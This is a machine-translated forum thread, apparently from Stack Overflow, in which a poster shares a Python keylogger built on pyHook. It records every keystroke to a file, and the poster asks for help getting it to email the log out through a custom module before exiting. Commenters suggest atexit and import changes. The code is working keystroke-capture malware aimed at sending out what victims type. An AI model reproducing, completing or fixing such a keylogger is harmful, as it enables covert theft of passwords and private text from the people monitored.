我有下面的代碼,也有發送電子郵件與文件的代碼,所以通過從庫導入它我想在文件關閉後,程序退出前執行它但它並沒有發生我試圖到處搜索,似乎沒有人釘了它。兩個代碼(keloger和sent_email)分別工作,所以通過從shell執行sent_email它將發送文件,但不是從模塊內部發送。Python通過調用自定義模塊退出之前通過文件發送電子郵件
任何幫助將不勝感激
import pythoncom
import pyHook
import sent_email
log = ""
logpath = "keyEvent.txt"
openfile = open(logpath, "w")
openfile.write("")
def OnKeyboardEvent(event):
try:
global log
if event.Ascii == 27:
log = "[ESC]"
elif event.Ascii == 8:
log = "[Backspace]"
elif event.Ascii == 15:
openfile.close()
sent_email.main()
exit()
elif event.Ascii == 13:
log = "\n"
elif event.Ascii == 0:
log = ""
else:
log = chr(event.Ascii)
openfile.write(log)
except:
pass
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
while True:
pythoncom.PumpMessages()
但如果我搬到後openfile.write(日誌)的sent_email.main()發送電子郵件和附件,但該文件在關閉前?
可能有助於如果你提供的代碼,但你可以看看了['atexit']( http://docs.python.org/2/library/atexit.html)模塊來註冊Python退出時要調用的函數。 – Aya
嘿,對不起,我只是在它上面。是的,但嘗試過但沒有太大的好處。然而,如果你有一個想法,而不是高興地看看。無論如何! –
因此,也許程序在能夠發送電子郵件之前退出。你能否改變sent_email函數來返回一條消息來告訴你eveyrthing是否有效?也許嘗試以另一種方式導入。 (從sent_email導入*) – Dschoni